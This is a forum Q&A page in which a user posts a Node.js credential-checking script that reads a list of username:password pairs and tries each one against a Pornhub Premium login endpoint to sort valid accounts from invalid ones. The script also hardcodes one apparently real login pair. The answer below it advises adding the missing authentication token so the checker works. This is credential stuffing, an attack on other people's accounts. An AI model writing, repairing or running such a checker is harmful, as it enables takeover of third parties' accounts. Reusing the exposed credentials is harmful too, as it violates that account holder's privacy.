Answer the question
In order to leave comments, you need to log in
POST request to nodejs?
I need to check accounts in a certain service, but for some reason it always says that the password is wrong. But at the same time, I can easily log in from the site itself using the same data, what could be the problem? Whole code:
const fs = require('fs')
const fetch = require('node-fetch')
let result = []
fs.readFile('assets/pornhub.txt', async function(err, data) {
if(err) throw err;
var array = data.toString().split("\r\n");
function timer(ms) {
return new Promise(res => setTimeout(res, ms));
}
async function load () {
for(i in array) {
let resp = ''
let username = array[i].split(':')[0]
let password = array[i].split(':')[1]
const body = {
username: 'kev70907',
password: 'kc38843884'
}
console.log(body)
console.log(`Проверяю ${username}:${password}`)
await sendRequest(body)
.then(res => resp = res)
.catch(err => err)
if(resp.message === 'Неверное имя пользователя или пароль!') {
console.log('Невалид')
} else {
console.log(resp.message)
}
return
await timer(1000)
}
}
load();
});
function sendRequest(body) {
return fetch('https://rt.pornhubpremium.com/front/authenticate', {
method: 'POST',
body: JSON.stringify(body),
headers: {
'Connection': 'keep-alive',
'Content-Type': 'application/json'
}
}).then(response => {
return response.json()
})
}
Answer the question
In order to leave comments, you need to log in
If you open the inspector and see what happens during authorization, it becomes clear that along with the login and password, you must also transfer the token, you do not transfer it, hence the problems
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question